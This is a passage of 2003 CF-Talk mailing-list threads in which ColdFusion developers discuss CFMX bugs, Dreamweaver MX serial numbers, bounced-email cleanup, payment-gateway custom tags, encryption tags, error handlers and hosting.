I have been fighting one issue with MX and CFUPDATE.  Yes, I know stop using
CFUPDATE, convert it to a real SQL update, but I don't have the time/money
to changes all of thousands places we have used cfupdate or the past 5
years.  And we don't seem to have any other issues with CFUPDATE than this
one that CFMX introduced.

It seems that CFMX requires the primary key to be included into list of
fields that are to be updated.  CF 5 did not require this.  In fact I even
get a CFMX generated error that calls the primary Key field by name and says
it needs to be included in this list of fields that are to be updated.

Thanks

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770



-Original Message-
From: Debbie Dickerson [mailto:[EMAIL PROTECTED]
Sent: Tuesday, June 03, 2003 8:58 AM
To: CF-Talk
Subject: RE: Red Sky Preview, Known Issues Update, and Installation
Supp ort


The Known Issues TechNote mentioned in Damon's message has been updated now.



-Original Message-
From: Damon Cooper [mailto:[EMAIL PROTECTED]

2. CF Known Issues List:

We're in the process of updating the CF Known Issues list
(should be updated in the next day or so):

http://www.macromedia.com/support/coldfusion/issues.html

So watch this page.  If you're experiencing an issue listed
here, we're on it.  If it's not listed here, please let us know about it
by either:

a) Joining the Red Sky Beta program and entering a
Beta bug report, or
b) Entering it here:
http://www.macromedia.com/support/email/wishform/?6213=3





~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq

Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. 
http://www.fusionauthority.com/signup.cfm

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4



RE: Red Sky Preview, Known Issues Update, and Installation Supp ort

2003-06-04 Thread Mark W. Breneman
Thank you,

I will enter that in the beta... after testing the beta.  Any chance this
would have been fixed and not documented that it was fixed in the fixed
issues?  I have checked the last two updater's fixed issues to see if it
was address, it was not.  I had reported this issue to the wish list one
time before and I see it address in the forums.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Mike Chambers [mailto:[EMAIL PROTECTED]
Sent: Tuesday, June 03, 2003 12:12 PM
To: CF-Talk
Subject: Re: Red Sky Preview, Known Issues Update, and Installation
Supp ort


http://www.macromedia.com/go/wish

or you can join the beta, and log the issue yourself.

mike chambers

[EMAIL PROTECTED]

- Original Message -
From: Mark W. Breneman [EMAIL PROTECTED]
To: CF-Talk [EMAIL PROTECTED]
Sent: Tuesday, June 03, 2003 12:17 PM
Subject: RE: Red Sky Preview, Known Issues Update, and Installation Supp
ort


 Ok, so how do I get an issue on to that list?

 I have been fighting one issue with MX and CFUPDATE.  Yes, I know stop
using
 CFUPDATE, convert it to a real SQL update, but I don't have the time/money
 to changes all of thousands places we have used cfupdate or the past 5
 years.  And we don't seem to have any other issues with CFUPDATE than this
 one that CFMX introduced.

 It seems that CFMX requires the primary key to be included into list of
 fields that are to be updated.  CF 5 did not require this.  In fact I even
 get a CFMX generated error that calls the primary Key field by name and
says
 it needs to be included in this list of fields that are to be updated.

 Thanks

 Mark W. Breneman
 -Macromedia Certified ColdFusion Developer
 -Network / Web Server Administrator
   Vivid Media
   [EMAIL PROTECTED]
   www.vividmedia.com
   608.270.9770



~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq

Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. 
http://www.fusionauthority.com/ads.cfm

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4



RE: Change Serial # in Dreamweaver MX

2003-06-03 Thread Mark W. Breneman
I think this automatically close maybe related to install MX studio?  We
have the same issue here.  We have a PC that only gets used as a scanning
station, that shares a MX studio number with our html layout guy. When we
open DW on the scanning station, you hear a gone come from the other side of
the office, as his DW shuts down.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770


-Original Message-
From: stas [mailto:[EMAIL PROTECTED]
Sent: Monday, June 02, 2003 4:18 PM
To: CF-Talk
Subject: Re: Change Serial # in Dreamweaver MX


He's probably on a Mac.

- Original Message -
From: John Wilker [EMAIL PROTECTED]
To: CF-Talk [EMAIL PROTECTED]
Sent: Monday, June 02, 2003 4:41 PM
Subject: RE: Change Serial # in Dreamweaver MX


 I don't know of any way to change the serial short of re-installing. It
 shouldnn't matter though. I've never seen DW close like that. My office
used
 to use the same serial across the board. As long as you own valid serials
 the one in the app shouldn't matter.

 I could be mistaken but I use DWMX and others in my company did too.
Unless
 the Desktop guys were using different serials which I am fairly certain
they
 are not.

 As a test I just booted my lap top and ran DW. My desktop has the same
 serial, no problems.

 -Original Message-
 From: Ruggiero, Kevin D [mailto:[EMAIL PROTECTED]
 Sent: Monday, June 02, 2003 1:21 PM
 To: CF-Talk
 Subject: OT: Change Serial # in Dreamweaver MX


 I have a new employee I'm working with in our group, and the guys who
setup
 his workstation mistakenly entered my Dreamweaver MX serial # on his
machine
 when installing it (we have a separate valid serial # for him, but it
wasn't
 used).  Now, when I open up DWMX, if he has it open, it will automatically
 close on me.

 Is there a way to change the serial # of a Dreamweaver MX installation?  I
 searched MM's site but couldn't find a way to do this.  I'm hoping to
avoid
 a complete reinstallation.  I'd think that a method for doing so would be
 provided if it's going to check for other serial #'s on the network and
shut
 you down if it finds duplicates.

 Thanks.

 Kevin D Ruggiero




~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq

Get the mailserver that powers this list at 
http://www.coolfusion.com

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4



RE: Change Serial # in Dreamweaver MX

2003-06-03 Thread Mark W. Breneman
Sorry, I was wrong, it is the second copy of DW that gets message about not
being able to run due to serial already in use.

MB

-Original Message-
From: Mark W. Breneman [mailto:[EMAIL PROTECTED]
Sent: Monday, June 02, 2003 4:50 PM
To: CF-Talk
Subject: RE: Change Serial # in Dreamweaver MX


I think this automatically close maybe related to install MX studio?  We
have the same issue here.  We have a PC that only gets used as a scanning
station, that shares a MX studio number with our html layout guy. When we
open DW on the scanning station, you hear a gone come from the other side of
the office, as his DW shuts down.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770


-Original Message-
From: stas [mailto:[EMAIL PROTECTED]
Sent: Monday, June 02, 2003 4:18 PM
To: CF-Talk
Subject: Re: Change Serial # in Dreamweaver MX


He's probably on a Mac.

- Original Message -
From: John Wilker [EMAIL PROTECTED]
To: CF-Talk [EMAIL PROTECTED]
Sent: Monday, June 02, 2003 4:41 PM
Subject: RE: Change Serial # in Dreamweaver MX


 I don't know of any way to change the serial short of re-installing. It
 shouldnn't matter though. I've never seen DW close like that. My office
used
 to use the same serial across the board. As long as you own valid serials
 the one in the app shouldn't matter.

 I could be mistaken but I use DWMX and others in my company did too.
Unless
 the Desktop guys were using different serials which I am fairly certain
they
 are not.

 As a test I just booted my lap top and ran DW. My desktop has the same
 serial, no problems.

 -Original Message-
 From: Ruggiero, Kevin D [mailto:[EMAIL PROTECTED]
 Sent: Monday, June 02, 2003 1:21 PM
 To: CF-Talk
 Subject: OT: Change Serial # in Dreamweaver MX


 I have a new employee I'm working with in our group, and the guys who
setup
 his workstation mistakenly entered my Dreamweaver MX serial # on his
machine
 when installing it (we have a separate valid serial # for him, but it
wasn't
 used).  Now, when I open up DWMX, if he has it open, it will automatically
 close on me.

 Is there a way to change the serial # of a Dreamweaver MX installation?  I
 searched MM's site but couldn't find a way to do this.  I'm hoping to
avoid
 a complete reinstallation.  I'd think that a method for doing so would be
 provided if it's going to check for other serial #'s on the network and
shut
 you down if it finds duplicates.

 Thanks.

 Kevin D Ruggiero





~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq

Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. 
http://www.fusionauthority.com/ads.cfm

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4



RE: Removing bad emails from newsletter db

2003-05-29 Thread Mark W. Breneman
I have the same problem.  I have thought up several possible ways, but there
is no good answer that I know of.

The best method that I have come up with is to assign a very identifiable ID
to each email address and include it in the bottom of the email newsletter
body.  Then  use outlook to check the return account and after about a week
I will export the bad address folder to an access database. (Or any other
client that will export to a file that can be imported to a database)  Then
do a search for the identifiable IDs and log them as a strike.  After a
few newsletter sends the email that have constantly bounced struck out are
bad.

This should take account for temporary mail server failures, out of office
replies, email account quota reached, etc...

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Blood Python [mailto:[EMAIL PROTECTED]
Sent: Wednesday, May 28, 2003 10:40 AM
To: CF-Talk
Subject: Removing bad emails from newsletter db


One of my client's has about 103k people in his mailing list. He's running
his website since 99 and many of these e-mails are bad ones.

He wants me to remove the bad e-mails from this list. I used to do that
using a software called worldcast, from fairlogic (www.fairlogic.com). It
uses DNS to validate e-mails, pretending to send an e-mail and stopping just
after he got the 250 code (user exists) or 550 (unknow).

Unfortunatly, many networks are not allowing DNS sends, because of spam, so
it its not a good solution anymore. I will need to build a tool that
interprets the returned e-mails from an actual send (those Undeliverable
e-mails) and delete the user based on this e-mail's content.

Do you guys knows any software or code that do such thing? Doesn't need to
be in cf... I will need to code it myself if i don't find something like
that to use, because client needs it very bad (he needs to reduce bandwidth
costs).

Thank you for your repplies in advance.

BP.

_
STOP MORE SPAM with the new MSN 8 and get 2 months FREE*
http://join.msn.com/?page=features/junkmail


~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq

Get the mailserver that powers this list at 
http://www.coolfusion.com

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4



RE: cache-control

2003-05-27 Thread Mark W. Breneman
Can you elaborate a bit on the WSOD (white screen of death)?  Is this the
null null error in MX?  If so, how should this help fix the problem?

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Tony Weeg [mailto:[EMAIL PROTECTED]
Sent: Tuesday, May 27, 2003 2:22 PM
To: CF-Talk
Subject: cache-control


CFHEADER NAME=cache-control value=7200
!--- 2 hours ahead ---

this is the fix that I was talking about, that im playing with
to prevent the white screen of death.  does anyone see anything
adverse about putting this live on my site, in the application.cfm file
so that all pages that have any type of form submit take advantage of?

thanks!

tony weeg
uncertified advanced cold fusion developer
tony at navtrak dot net
www.navtrak.net
410.548.2337


~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq

Host with the leader in ColdFusion hosting. 
Voted #1 ColdFusion host by CF Developers. 
Offering shared and dedicated hosting options. 
www.cfxhosting.com/default.cfm?redirect=10481

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4



RE: cache-control

2003-05-27 Thread Mark W. Breneman
Ok,  Too bad... I am hoping that updater 3 will fix my null null problems.

Thanks

MB

-Original Message-
From: Tony Weeg [mailto:[EMAIL PROTECTED]
Sent: Tuesday, May 27, 2003 2:33 PM
To: CF-Talk
Subject: RE: cache-control


nope, this is from a form submission, to a page that displays results, a
click off that page to another
page, and then the user clicking the back button on their browser, and
*!BANG!* some effed up
error about the page no longer available or something

tony weeg
uncertified advanced cold fusion developer
tony at navtrak dot net
www.navtrak.net
410.548.2337


-Original Message-
From: Mark W. Breneman [mailto:[EMAIL PROTECTED]
Sent: Tuesday, May 27, 2003 3:36 PM
To: CF-Talk
Subject: RE: cache-control


Can you elaborate a bit on the WSOD (white screen of death)?  Is this
the null null error in MX?  If so, how should this help fix the
problem?

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Tony Weeg [mailto:[EMAIL PROTECTED]
Sent: Tuesday, May 27, 2003 2:22 PM
To: CF-Talk
Subject: cache-control


CFHEADER NAME=cache-control value=7200
!--- 2 hours ahead ---

this is the fix that I was talking about, that im playing with to
prevent the white screen of death.  does anyone see anything adverse
about putting this live on my site, in the application.cfm file so that
all pages that have any type of form submit take advantage of?

thanks!

tony weeg
uncertified advanced cold fusion developer
tony at navtrak dot net
www.navtrak.net
410.548.2337




~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq

Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. 
http://www.fusionauthority.com/ads.cfm

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4



RE: Encryption in MX?

2003-05-27 Thread Mark W. Breneman
I have been using cfx_encrypt_aes.  The site claims that it should be secure
then it would take that machine approximately 149 thousand billion (149
trillion) years to crack a 128-bit AES key.  And it can (if you want it to
be) be bound to a MAC address of the Network card so in theory if someone
swipes your code and your encrypted data they still need the Network card.
(or at least the MAC address and a network card with a programmable MAC
address.) I think I read somewhere that the DOD uses it to secure some data.

http://www.cfxworks.com/index.cfm?fuseaction=info_aes256

It even has fully working demo.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770


-Original Message-
From: Shawn Grover [mailto:[EMAIL PROTECTED]
Sent: Tuesday, May 27, 2003 4:05 PM
To: CF-Talk
Subject: Encryption in MX?


In the past (with CF 4.5 and 5), I've used the undocumented CFUSION_ENCRYPT
function for encrypting my values.  Is there something similar in MX?  The
documentation I've found thus far only indicates the native Encrypt()
function, which is known to have some issues (like being easy crack, and
needing triple the space of your string once it is encrypted.).  I'd rather
not use the Encrypt function, and before examining the options at CFLib.org
and elsewhere on the web, I wanted to find out what people on the list are
using for encryption.  Comments or suggestions are welcomed...

Shawn

(ps.  I've just realized the CFUSION_ENCRYPT function still works in MX, but
would still like to hear what others are using).

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq

This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.
http://www.cfhosting.com

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4



RE: Win2K Task Manager

2003-03-18 Thread Mark W. Breneman
Just did that the other day too.

2x click on the edge of the window to get your goodies back.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Bryan Stevenson [mailto:[EMAIL PROTECTED]
Sent: Tuesday, March 18, 2003 2:42 PM
To: CF-Talk
Subject: SOT: Win2K Task Manager


Hey All,

A while back I must have hit the wrong sequence of keys or something because
CTRL+ALT+DEL and selecting Task Manager gives me a window that just shows
the tasks currently running with the 3 buttons (switch to, end task, new
task).  I don't have the tabs to see perf mon and processes like I used to.
Any ideas??

TIA

Cheers

Bryan Stevenson B.Comm.
VP  Director of E-Commerce Development
Electric Edge Systems Group Inc.
t. 250.920.8830
e. [EMAIL PROTECTED]

-
Macromedia Associate Partner
www.macromedia.com
-
Vancouver Island ColdFusion Users Group
Founder  Director
www.cfug-vancouverisland.com


~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Get the mailserver that powers this list at http://www.coolfusion.com

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4



OT- Dreamweaver work-a-round? Letter or number key shortcuts must include a Ctrl Key

2003-03-17 Thread Mark W. Breneman
Sorry this is a little off topic but it has annoyed me since day one of
trying to use DWMX for CF coding.

Has anyone found a workaround for the ultra annoying major bug (at least
to me) of needing to use Ctrl in all keyboard shortcuts in DWMX.

I have lots of keyboard shortcuts in CF studio mapped to alt-.  I would hate
to have to change all of them just for DWMX.

Thanks

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770





~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4



RE: CFX_PayFlowPro and CFMX

2003-03-13 Thread Mark W. Breneman
Ali,

I can't say as I will be much help but, I can tell you that I have the same
CFX_PayFlowPro and Verisign setup working fine.  The setup/install was just
as I expected.  Set up the CFX in the CF admin and it just worked.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770


-Original Message-
From: Ali Daniali [mailto:[EMAIL PROTECTED]
Sent: Thursday, March 13, 2003 1:14 PM
To: CF-Talk
Subject: CFX_PayFlowPro and CFMX


Has anyone run into issues with getting Verisign's Pay Flow Pro system and
their customer tag CFX_PayFlowPro working with CFMX? I'm about to integrate
this service and any help is appreciated.

Thanks,
Ali Daniali

---
This message (including any attachments) may contain
confidential and privileged information.  If you are
not the intended recipient, please notify the sender
and delete all copies of the original message without
using or disclosing it.  Thank you.
---




~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4



FW: CFX_PayFlowPro and CFMX

2003-03-13 Thread Mark W. Breneman
Interesting I just double checked my CFMX admin page.  Looks like I am
not using CFX_PayFlowPro but rather using CFX_PAYMENTNET (for Signio
Payments Gateway, later renamed to Verisign Pay Flow Pro) on the production
server.

I have the cfx_PAYFLOWPRO and CFX_PAYMENTNET installed on my development
server, but only CFX_PAYMENTNET on the production server.  I can not
remember if we were having problems with cfx_PAYFLOWPRO and then opted to go
with the CFX_PAYMENTNET.

I am fairly sure that CFX_PAYMENTNET is the older of the two tags but, it
seems to be working.  The conference registration signup site that I used it
on was very heavily tested and is now live.

I have not had any problems with CFX_PAYMENTNET yet, but I would like to
hear from the CF talk list on what they are using for an interface to
Verisign Pay Flow Pro. Does anyone know if CFX_PAYMENTNET is CFMX
approved?

The conference registration signup site will process between $3-7 million in
registrations fees. So if there is a problem with CFX_PAYMENTNET and CFMX, I
would very much like to know, before the heavy registration starts.

Ali, sorry about the wrong info before. Too many hours of overtime and way
too much Mountain Dew will do that to a guy.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Ali Daniali [mailto:[EMAIL PROTECTED]
Sent: Thursday, March 13, 2003 3:26 PM
To: Cf-Talk (E-mail)
Cc: '[EMAIL PROTECTED]'
Subject: RE: CFX_PayFlowPro and CFMX


Mark are you running ColdFusion MX? Any updates installed?

In Chapter 27 of Ben Forta and Nate Wiess' MM CFMX Web Application
Contraction Kit (page 829) he states that the custom tag CFX_PayFlowPro
did not work correctly with CFMX. It doesn't talk about the release version
that he was using.

I'm trying to implement version 3.0 of CFX_PayFlowPro and having errors.

I'm new to this so I'm not sure if its how I'm implementing the Custom Tag
or that the darn thing doesn't work?

Any further help is appreciated.

Thank you,
Ali Daniali

-Original Message-
From: Mark W. Breneman [mailto:[EMAIL PROTECTED]
Sent: Thursday, March 13, 2003 11:29 AM
To: CF-Talk
Subject: RE: CFX_PayFlowPro and CFMX

Ali,

I can't say as I will be much help but, I can tell you that I have the same
CFX_PayFlowPro and Verisign setup working fine.  The setup/install was just
as I expected.  Set up the CFX in the CF admin and it just worked.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Ali Daniali [mailto:[EMAIL PROTECTED]
Sent: Thursday, March 13, 2003 1:14 PM
To: CF-Talk
Subject: CFX_PayFlowPro and CFMX

Has anyone run into issues with getting Verisign's Pay Flow Pro system and
their customer tag CFX_PayFlowPro working with CFMX? I'm about to integrate
this service and any help is appreciated.

Thanks,
Ali Daniali

---
This message (including any attachments) may contain
confidential and privileged information.  If you are
not the intended recipient, please notify the sender
and delete all copies of the original message without
using or disclosing it.  Thank you.
---


~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. http://www.fusionauthority.com/ads.cfm

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4



CF update BUG in MX. Who at MM can I yell at?

2003-02-19 Thread Mark W. Breneman
pulling hair out

Can any one tell me if MM has acknowledge the cfupdate CFMX bug requiring
your db key field to be listed in the formfields attribute of the cfupdate
tag? (if you have any values in the formfields attribute of the cfupdate
tag)

I have seen this bug on several servers, There must be a reason why this has
not been fixed in any of the CFMX updaters.   It seems like a no brainier.

I know, I know... don't use CFupdate, but I have a several large project
that it is used in and they just got put on a MX server.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Get the mailserver that powers this list at http://www.coolfusion.com

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4




CFlocation in a Site-wide Error Handler with CFMX and caffeine

2003-02-18 Thread Mark W. Breneman
Am I hopped up on too much caffeine this AM, or is this a change in MX with
using Site-wide Error Handlers.

I have two sites (same client different sites) hosted on the same server.  I
need to have different display error pages for each client but I would
like to use the same Error Handler page and simply CFlocation off to the
correct display error page.

I do not seem to be able to use a CFlocation in the .cfm file that have
defined as a Site-wide Error Handler in the CF admin.

Does anyone know if one of the other methods will work?

cfoutput
scriptlocation='#myURL#';/script
/cfoutput

Or

cfheader statuscode=301
cfheader name=Location value=http://domain/;

Thanks
Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770




~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Structure your ColdFusion code with Fusebox. Get the official book at 
http://www.fusionauthority.com/bkinfo.cfm

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4




RE: how to build calendar?

2003-01-28 Thread Mark W. Breneman
This is probably not exactly what you are looking for but...

http://www.cflib.org/udf.cfm?ID=540

The calendar is built in CFscript. It would not take too much time to covert
it to tag based if needed.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: John Ho [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, January 28, 2003 4:48 PM
To: CF-Talk
Subject: how to build calendar?


hi all
   Can someone show me how to buil or get a calendar
in CFMX?.
Thanks
John

__
Do you Yahoo!?
Yahoo! Mail Plus - Powerful. Affordable. Sign up now.
http://mailplus.yahoo.com

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4




RE: CF Hosting Suggestions

2003-01-22 Thread Mark W. Breneman
http://www.cheapesthosting.com

$7.95 month

I host a few sites there and several co workers do as well.

They just added MySQL.  A friend has a big CF/MySQL App hosted there.

I would call them a very good starter host.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Eric Hoffman [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, January 22, 2003 3:15 PM
To: CF-Talk
Subject: RE: CF Hosting Suggestions


Cfdynamics.com

:-)

Regards,

Eric J Hoffman
DataStream Connexion
www.datastreamconnexion.com
Delivering Creative Data Solutions

-Original Message-
From: Cutter (CF_Talk) [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, January 22, 2003 2:04 PM
To: CF-Talk
Subject: CF Hosting Suggestions



Anyone know who is the low cost CFMX host with MSSQL or mySQL support?
(and mail)



~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4




RE: Goodbye cruel world

2003-01-21 Thread Mark W. Breneman
I would not say Software firewalls, on Windows, are pointless by any means.
Maybe for outbound filtering but, this is assuming that someone has already
taken control of a process in windows.  If someone (or a virus) has done
that, the fight is already lost.


Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Thomas Chiverton [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, January 21, 2003 11:06 AM
To: CF-Talk
Subject: Re: Goodbye cruel world


On Tuesday 21 Jan 2003 16:53 pm, Robertson-Ravo, Neil (RX) wrote:
 I use BlackICE with no complaints...its really secure.

Software firewalls, on Windows, are pointless:
http://tooleaky.zensoft.com/
(exec. summ. : any process on Windows can script IE, and IE you will have
allowed outbound, so any process has outbound access, without fear of
filtering)

--
Tom C

Junior Encyclopedia of Space #4:
 HOTELS: A place were humans are parked for the night.
SEE ALSO: BACON, LETTUCE AND TOMATO SANDWICH

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. http://www.fusionauthority.com/ads.cfm

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4




SQL find and replace tool or roll my own in CF

2003-01-16 Thread Mark W. Breneman
We are just about to start a major website redesign for one of our clients.
In the SQL 2000 database they have stored 3-5 page articles with url links
referring to pages that will no longer have that name after the website
redesign.  The second step we want to take is to remove all font tags that
the client may have stored in the database.

I am wondering if anyone has a tool that works well for searching and
replacing the data stored in several tables or if I should write something
in CF to do just that.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. http://www.fusionauthority.com/ads.cfm

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4




RE: SQL find and replace tool or roll my own in CF

2003-01-16 Thread Mark W. Breneman
T-SQL is a possibility but, I may have overly simplified the problem.  The
client database is made up of about 128 tables.  About 1/2 of them may
